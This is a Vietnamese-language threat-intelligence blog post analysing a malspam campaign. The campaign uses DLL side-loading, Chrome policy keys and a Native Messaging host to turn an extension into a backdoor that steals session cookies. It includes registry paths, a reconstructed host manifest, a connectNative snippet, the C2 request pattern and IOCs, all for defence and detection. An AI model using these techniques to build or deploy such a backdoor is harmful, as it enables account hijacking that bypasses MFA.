Skip to main content

Command Palette

Search for a command to run...

Malware đánh cắp cookie phiên Chrome để chiếm quyền tài khoản qua backdoor Windows

Updated
15 min readView as Markdown
Malware đánh cắp cookie phiên Chrome để chiếm quyền tài khoản qua backdoor Windows

Tóm tắt tổng quan

Một extension Chrome tự thân không thể chạy PowerShell. Đó là ranh giới bảo mật cốt lõi của mọi trình duyệt hiện đại. Chiến dịch công bố ngày 22/06/2026 đã xóa bỏ đúng ranh giới đó, không phải bằng exploit, mà bằng cách lạm dụng một tính năng Chrome hợp pháp gọi là Native Messaging, vốn được thiết kế cho phần mềm quản lý mật khẩu và công cụ doanh nghiệp giao tiếp với extension.

Chuỗi tấn công bắt đầu bằng email hóa đơn tiếng Ý, đính kèm file mang đuôi .pfd.js cố tình gây nhầm lẫn với .pdf. File này thả một executable ký hợp lệ của Epic Games cùng một DLL độc hại, dùng kỹ thuật DLL side-loading để khởi chạy PowerShell ẩn. PowerShell sau đó cài một extension Chrome tên "Cloud vn105rkj64" và đăng ký một Native Messaging Host, biến extension từ một công cụ chỉ đọc được cookie và tab thành một kênh điều khiển từ xa có thể ra lệnh thực thi PowerShell trên máy nạn nhân, hoàn toàn nằm ngoài sandbox trình duyệt.

Rủi ro kinh doanh trực tiếp không nằm ở việc mất mật khẩu, mà ở việc mất phiên đăng nhập đang hoạt động. Cookie phiên bị đánh cắp cho phép kẻ tấn công truy cập tài khoản đã đăng nhập mà không cần vượt qua MFA, vì MFA chỉ bảo vệ bước đăng nhập, không bảo vệ phiên sau khi đã đăng nhập thành công. Chiến dịch hiện được ghi nhận tại Ý qua kênh malspam, nhưng kỹ thuật Native Messaging bridge không gắn với địa lý hay ngành cụ thể nào. Hành động ưu tiên ngay: rà soát registry HKCU\Software\Google\Chrome\NativeMessagingHosts trên toàn bộ endpoint, đối chiếu với danh sách phần mềm được duyệt.

Bối cảnh

Lạm dụng Native Messaging để thoát sandbox trình duyệt không phải phát minh riêng của chiến dịch này. Chỉ vài tuần trước, Zscaler ThreatLabz công bố Edgecution, một extension Microsoft Edge giả danh "Edge Monitoring Agent", phát tán qua giả mạo IT support trên Microsoft Teams, dùng đúng cơ chế Native Messaging để bắc cầu đến một backdoor viết bằng Python. Edgecution được liên kết với initial access broker phục vụ nhóm ransomware Payouts Kings. Hai chiến dịch độc lập, hai ngôn ngữ lập trình host khác nhau (PowerShell so với Python), nhưng cùng chung một logic: extension đóng vai trò controller mạng, host native đóng vai trò thực thi hệ điều hành, và Native Messaging là cầu nối hợp pháp bị biến thành đường ống command-and-control.

Bối cảnh rộng hơn là sự dịch chuyển toàn ngành từ đánh cắp mật khẩu sang đánh cắp phiên. Báo cáo Constella 2026 Identity Breach ghi nhận infostealer xử lý 51,7 triệu package dữ liệu trong năm 2025, tăng 72% so với năm trước, phần lớn chứa session cookie còn hiệu lực đủ để bỏ qua MFA hoàn toàn. Google phản ứng bằng Device Bound Session Credentials (DBSC), phát hành rộng rãi cho Windows từ Chrome 146 (10/04/2026), ràng buộc cookie phiên vào private key không thể rời khỏi thiết bị. Nhưng DBSC chỉ bảo vệ cookie được website áp dụng cơ chế này, và phần lớn dịch vụ web hiện tại chưa triển khai. Chiến dịch Cloud vn105rkj64 vì vậy khai thác đúng khoảng trống hiện tại: cookie phiên truyền thống vẫn là mục tiêu có giá trị cao, dễ đánh cắp, dễ replay, và gần như mọi trình duyệt doanh nghiệp hôm nay vẫn còn dùng cơ chế cookie chưa được device-bind.

Thông tin campaign

Thuộc tính Chi tiết
Tên chiến dịch Chưa đặt tên chính thức, D3Lab mô tả là "Native Messaging Backdoor"
Extension độc hại Cloud vn105rkj64 (ID: gghagmhimhgfeajfdmjkgmmehbokmglg)
Threat actor Chưa được công bố
Thời gian hoạt động Quan sát 22/06/2026, malspam đang lưu hành tại Ý
Loại tấn công Session hijacking qua browser backdoor, không xác nhận ransomware follow-on
Target sector Không giới hạn ngành, ghi nhận qua kênh malspam diện rộng
Target region Ý (lure tiếng Ý), kỹ thuật có thể tái sử dụng bất kỳ khu vực nào
Công cụ chính JavaScript obfuscated, DLL side-loading qua executable Epic Games hợp lệ, Chrome Native Messaging Host, PowerShell
C2 infrastructure ext2[.]info qua HTTPS POST, domain phụ cd-nwlins[.]site
Dữ liệu bị đánh cắp Cookie phiên, tab đang mở, URL, user-agent, ngôn ngữ, fingerprint, output lệnh PowerShell
Nguồn phát hiện D3Lab (Andrea Draghetti), đối chiếu Malwarebytes, CyberSecurityNews

Attack chain chi tiết

Giai đoạn 1: Lure hóa đơn tiếng Ý và file giả dạng PDF

Email phát tán mang chủ đề Fattura #2818999851 (hóa đơn), nội dung thông báo một hóa đơn được yêu cầu đã sẵn sàng tải về, ký tên một văn phòng kế toán. Tài liệu hiển thị trông như PDF 158 KB. Điểm đáng chú ý: số hóa đơn trong tiêu đề email, tên file hiển thị (Fattura-26189991026.pdf), và tên file JavaScript thực tải về (Fattura-2819889242.pfd.js) đều khác nhau, gợi ý các giá trị này được sinh tự động cho mỗi lượt gửi hoặc mỗi giai đoạn chiến dịch thay vì cố định.

Đuôi file thật là .pfd.js, không phải .pdf, nhưng đủ giống để lướt qua ở tốc độ đọc email thông thường. Đây là kỹ thuật cũ nhưng vẫn hiệu quả, vì phần lớn client email và hệ điều hành mặc định ẩn đuôi file hoặc hiển thị icon theo tên gợi nhớ thay vì đuôi thật.

Giai đoạn 2: DLL side-loading qua executable Epic Games hợp lệ

Khi nạn nhân chạy file, Windows Script Host thực thi đoạn JavaScript obfuscated, giải mã và ghi hai file vào thư mục tạm:

%TEMP%\client_124578.exe
%TEMP%\d3d11.dll

client_124578.exe là một executable đã ký hợp lệ, thuộc về Epic Games. Bản thân file này sạch và không phải mã độc. Vấn đề nằm ở cách Windows resolve dependency: khi executable này khởi chạy, nó tìm và load d3d11.dll từ cùng thư mục thay vì từ System32, và kẻ tấn công đã đặt sẵn một DLL độc hại trùng tên tại đó. Đây là DLL side-loading, kỹ thuật lợi dụng thứ tự tìm kiếm DLL mặc định của Windows để một ứng dụng đáng tin cậy vô tình nạp mã độc.

Lý do kỹ thuật này được chọn không khó đoán: một tiến trình con sinh ra từ một executable ký hợp lệ, có chữ ký số của một hãng game lớn, sẽ dễ dàng vượt qua các cơ chế allowlisting dựa trên publisher hoặc reputation-based detection so với việc chạy thẳng một binary không rõ nguồn gốc.

Giai đoạn 3: PowerShell cấu hình Chrome Policy để cài extension

DLL độc hại khởi chạy một tiến trình PowerShell ẩn. PowerShell thực hiện hai việc song song: chuẩn bị package extension Chrome, và ghi giá trị vào registry key policy của Chrome để việc cài đặt trông như một triển khai do quản trị viên kiểm soát thay vì một cài đặt extension thông thường qua Chrome Web Store.

HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist
HKCU\Software\Policies\Google\Chrome\ExtensionInstallSources
  → giá trị quan sát: http://localhost:8080/*

Đây là điểm mấu chốt để hiểu vì sao kỹ thuật này nguy hiểm hơn một extension độc hại thông thường bị đăng lên Chrome Web Store rồi bị gỡ. Chrome cho phép doanh nghiệp dùng policy để force-install extension nội bộ không qua kiểm duyệt Web Store, phục vụ mục đích quản lý tập trung hợp pháp. Malware giả lập đúng cơ chế đó trên máy cá nhân không được quản lý tập trung, khiến Chrome tin rằng đây là một cài đặt được ủy quyền. Giá trị ExtensionInstallSources trỏ về localhost:8080 là dấu hiệu rất bất thường trên một máy không phải môi trường doanh nghiệp centrally-managed, vì nguồn cài đặt hợp pháp gần như không bao giờ là địa chỉ loopback.

Extension cài đặt có tên "Cloud vn105rkj64", ID gghagmhimhgfeajfdmjkgmmehbokmglg, phiên bản manifest 2.0.

Giai đoạn 4: Đăng ký Native Messaging Host, cầu nối vượt sandbox

Đây là bước quyết định của toàn bộ chiến dịch. Extension Chrome, dù cấu hình quyền rộng đến đâu, vẫn bị giới hạn trong sandbox trình duyệt: nó có thể đọc cookie, đọc tab, sửa nội dung trang, nhưng không thể tự khởi chạy powershell.exe hay bất kỳ chương trình Windows nào khác. Đây là một phần cốt lõi của mô hình bảo mật trình duyệt hiện đại, ngăn một extension bị xâm nhập tự động trở thành backdoor toàn hệ thống.

Chrome có một ngoại lệ hợp pháp cho ranh giới này gọi là Native Messaging, thiết kế cho các ứng dụng cần trao đổi dữ liệu với extension, ví dụ trình quản lý mật khẩu điền form tự động hoặc công cụ bảo mật doanh nghiệp. Cơ chế yêu cầu một thành phần thứ hai cài trên hệ điều hành, gọi là Native Messaging Host, được đăng ký qua registry trỏ đến một file manifest JSON.

HKCU\Software\Google\Chrome\NativeMessagingHosts\com.vn105rkj64.tr7qprrt7g
{
  "name": "com.vn105rkj64.tr7qprrt7g",
  "description": "Native messaging host",
  "path": "C:\\Users\\<user>\\AppData\\Local\\<host>.exe",
  "type": "stdio",
  "allowed_origins": [
    "chrome-extension://gghagmhimhgfeajfdmjkgmmehbokmglg/"
  ]
}

D3Lab lưu ý đây là bản dựng lại minh họa cơ chế, không phải manifest gốc thu được nguyên vẹn, và tên executable cuối cùng của host không còn trong artefact sandbox. Điều được xác nhận trong phân tích là quá trình cài đặt có sinh mã nguồn C# tạm thời và thực thi csc.exe, trình biên dịch C# của Microsoft, ở giai đoạn cài đặt host.

Khi extension mở kênh Native Messaging, Chrome tự khởi chạy host đã đăng ký và kết nối standard input/output của nó với extension:

const port = chrome.runtime.connectNative("com.vn105rkj64.tr7qprrt7g");
port.postMessage({ command: receivedCommand });
port.onMessage.addListener((result) => {
  sendResultToController(result);
});

Host nhận message JSON có length-prefix, xử lý bên ngoài sandbox trình duyệt, và trả kết quả dạng JSON. Trong chiến dịch này, kênh đó được dùng để thực thi PowerShell. Extension đóng vai trò controller hướng mạng, còn host native thực hiện hành động trên Windows với quyền của user hiện tại. Thiết kế này tách trách nhiệm rõ ràng: Chrome xử lý cookie, tab và giao tiếp với server điều khiển, còn thành phần native xử lý lệnh hệ điều hành. Hệ quả với defender là chặn riêng một lệnh PowerShell khả nghi có thể bỏ sót toàn bộ kênh điều khiển phía trình duyệt vẫn đang sống.

Giai đoạn 5: Thu thập dữ liệu và kênh C2

Extension liên hệ ext2[.]info qua HTTPS bằng request POST:

POST /time.php?q=ste_jstest2 HTTP/1.1
Host: ext2[.]info
Origin: chrome-extension://gghagmhimhgfeajfdmjkgmmehbokmglg

Tham số trong URL chỉ mang tính hình thức, dữ liệu thu thập và kết quả lệnh được gửi trong request body, không phải trong URL. Trao đổi đầu tiên quan sát được gồm một cookie Google, danh sách tab và URL đang mở, thông tin user-agent, ngôn ngữ trình duyệt, và một định danh nạn nhân ổn định. D3Lab không quan sát trực tiếp việc trích xuất mật khẩu từ kho lưu mật khẩu Chrome, thu thập xác nhận tập trung vào cookie, ngữ cảnh duyệt web và dữ liệu fingerprinting.

Việc đánh cắp cookie phiên đã xác thực nguy hiểm hơn đánh cắp mật khẩu ở một điểm cụ thể: nó cho phép truy cập trực tiếp vào tài khoản đã đăng nhập sẵn trên trình duyệt nạn nhân, bỏ qua hoàn toàn bước xác thực MFA, vì MFA chỉ được kiểm tra tại thời điểm đăng nhập chứ không kiểm tra lại trong suốt phiên làm việc.

Server điều khiển sau đó trả về một lệnh yêu cầu liệt kê nội dung ổ *C:*, và một request POST tiếp theo chứa kết quả lệnh đó. Đây là bằng chứng trực tiếp cho thấy extension và Native Messaging Host tạo thành một backdoor điều khiển từ xa thật sự, không chỉ dừng ở mức extension đánh cắp thông tin thụ động.

Phân tích kỹ thuật

Vì sao kết hợp các thành phần hợp pháp lại nguy hiểm hơn từng thành phần riêng lẻ

Mỗi mảnh ghép trong chiến dịch này, xét riêng, đều là công nghệ hợp pháp. Ứng dụng ký hợp lệ nạp DLL là hành vi Windows bình thường. Tổ chức triển khai extension Chrome qua policy là quy trình quản trị doanh nghiệp phổ biến. Phần mềm tin cậy dùng Native Messaging là thiết kế được Chrome hỗ trợ chính thức. Nguy hiểm không đến từ bất kỳ thành phần đơn lẻ nào, mà từ cách chúng được lắp ráp để mỗi thành phần che giấu ý đồ của thành phần còn lại. Executable ký hợp lệ làm vỏ bọc cho DLL độc hại. Policy key hợp lệ làm vỏ bọc cho một cài đặt extension không được ủy quyền thật sự. Tính năng Native Messaging hợp lệ làm cầu nối vượt qua chính ranh giới bảo mật nó được sinh ra để tôn trọng có điều kiện.

Với detection engineering, điều này có nghĩa việc kiểm tra từng chỉ báo riêng lẻ, chữ ký file sạch, policy key hợp lệ về cú pháp, giao thức Native Messaging đúng chuẩn, sẽ không phát hiện được gì bất thường. Tín hiệu chỉ xuất hiện khi tương quan nhiều lớp cùng lúc: một executable đáng tin cậy nạp DLL từ thư mục Temp thay vì thư mục cài đặt chính chủ, một giá trị policy Chrome mới xuất hiện trên máy không thuộc diện quản lý tập trung, một Native Messaging Host trỏ đến executable nằm trong thư mục user-writable thay vì Program Files.

Vì sao gỡ extension không đủ để xử lý sự cố

Phần lớn phản ứng theo bản năng khi phát hiện extension lạ là gỡ nó khỏi Chrome. Với chiến dịch này, thao tác đó xử lý phần nổi nhưng để lại phần chìm. Native Messaging Host là một registration độc lập trên hệ điều hành, không tự động biến mất khi extension bị gỡ. Nếu registry key host và file executable liên quan vẫn còn, một extension khác được cài sau này (kể cả vô tình bởi chính nạn nhân) khớp đúng allowed_origins trong manifest host vẫn có thể mở lại kênh điều khiển. Xử lý sự cố đầy đủ đòi hỏi gỡ cả registration Native Messaging, không chỉ bản thân extension, cộng với vô hiệu hóa phiên đăng nhập đã bị lộ cookie.

Khuyến nghị

  • Chặn domain ext2[.]infocd-nwlins[.]site tại proxy/firewall, DNS sinkhole nếu có.

  • Kiểm tra Chrome extension đã cài trên toàn bộ endpoint cho ID gghagmhimhgfeajfdmjkgmmehbokmglg, gỡ ngay nếu phát hiện.

  • Rà soát registry HKCU\Software\Google\Chrome\NativeMessagingHosts trên các máy có dấu hiệu khả nghi, đối chiếu allowed_origins với extension ID đã biết.

  • Triển khai baseline kiểm kê định kỳ cho ExtensionInstallAllowlist/ExtensionInstallSources trên máy không thuộc domain quản lý tập trung, cảnh báo khi giá trị mới xuất hiện ngoài giờ hành chính hoặc trỏ về localhost/IP nội bộ.

  • Đưa detection tương quan DLL load từ Temp + PowerShell con + csc.exe (đã cung cấp ở phần Detection) vào SIEM cho các client dùng Sysmon.

  • Với nạn nhân xác nhận nhiễm, đăng xuất toàn bộ phiên trên các tài khoản quan trọng (Google, hệ thống nội bộ), không chỉ đổi mật khẩu, vì đổi mật khẩu không vô hiệu hóa cookie phiên đã bị đánh cắp.

  • Đưa Native Messaging Host inventory vào chương trình asset management cho endpoint, tương tự cách quản lý phần mềm cài đặt, vì đây là bề mặt tấn công còn thiếu giám sát ở phần lớn tổ chức.

  • Đánh giá lộ trình áp dụng DBSC hoặc cơ chế device-bound session tương đương cho các ứng dụng nội bộ quan trọng, song song với nhận thức rằng đây chỉ giải quyết một phần của vấn đề (đánh cắp cookie), không giải quyết phần backdoor thực thi lệnh.

  • Đào tạo người dùng nhận diện file đính kèm có đuôi kép hoặc đuôi lạ (.pfd.js thay vì .pdf), đặc biệt trong ngữ cảnh hóa đơn, chứng từ kế toán, vốn tạo áp lực mở file nhanh.

Indicators of Compromise

# File Hash — SHA256
b11ef9f11c9bb6228582f38a61f4c04dc7160939d8c5b7ee4e467ffde6317f02   # Fattura-2819889242.pfd.js (JavaScript ban đầu)
e77747f06d1d3ee5b8466340a10416874439dd69a7e9cd8653647be7782899b6   # client_124578.exe (Epic Games, ký hợp lệ, dùng side-load)
94f333cba95e76e6b8c0f8831bffc446b5f3c90db2c598c6079a98f1a0ef9701   # d3d11.dll (DLL độc hại)
d05e03173d9c841a28af60f5dda8a7c7a39c0a0d7302ec412ac4638b8f9872a3   # Extension CRX package "Cloud vn105rkj64"

# File Hash — MD5 / SHA-1 (JavaScript ban đầu, đối chiếu nhanh)
MD5:  61f07213f2e54c54ec379714fd211c73
SHA1: d7a2361877b9cd1f4b6ef56f59fb7adec72cc945

# Domain (defanged)
ext2[.]info          # C2 chính, nhận cookie + kết quả lệnh qua POST
cd-nwlins[.]site      # domain phụ, quan sát trả về nội dung parked khi truy cập trong lúc phân tích

# IP Address (defanged)
2[.]27[.]5[.]53      # IP resolution của ext2[.]info tại thời điểm phân tích (22/06/2026)

# Network pattern
POST /time.php?q=ste_jstest2 HTTP/1.1   # kênh C2 chính, body chứa dữ liệu cookie/lệnh
Origin: chrome-extension://gghagmhimhgfeajfdmjkgmmehbokmglg

# Host artifact
%TEMP%\client_124578.exe
%TEMP%\d3d11.dll
HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist
HKCU\Software\Policies\Google\Chrome\ExtensionInstallSources        # giá trị quan sát: http://localhost:8080/*
HKCU\Software\Google\Chrome\NativeMessagingHosts\com.vn105rkj64.tr7qprrt7g

# Chrome extension
Tên: Cloud vn105rkj64
ID: gghagmhimhgfeajfdmjkgmmehbokmglg
Version: 2.0

# Behavioral IOC
Executable ký hợp lệ (publisher đã biết) load DLL từ %TEMP% thay vì thư mục cài đặt chính chủ
csc.exe được spawn từ tiến trình con của PowerShell chạy ngoài ngữ cảnh phát triển phần mềm thông thường
Native Messaging Host registration trỏ đến executable trong thư mục user-writable (AppData\Local)

Nguồn tham khảo:

More from this blog

F

FPT IS Security

871 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.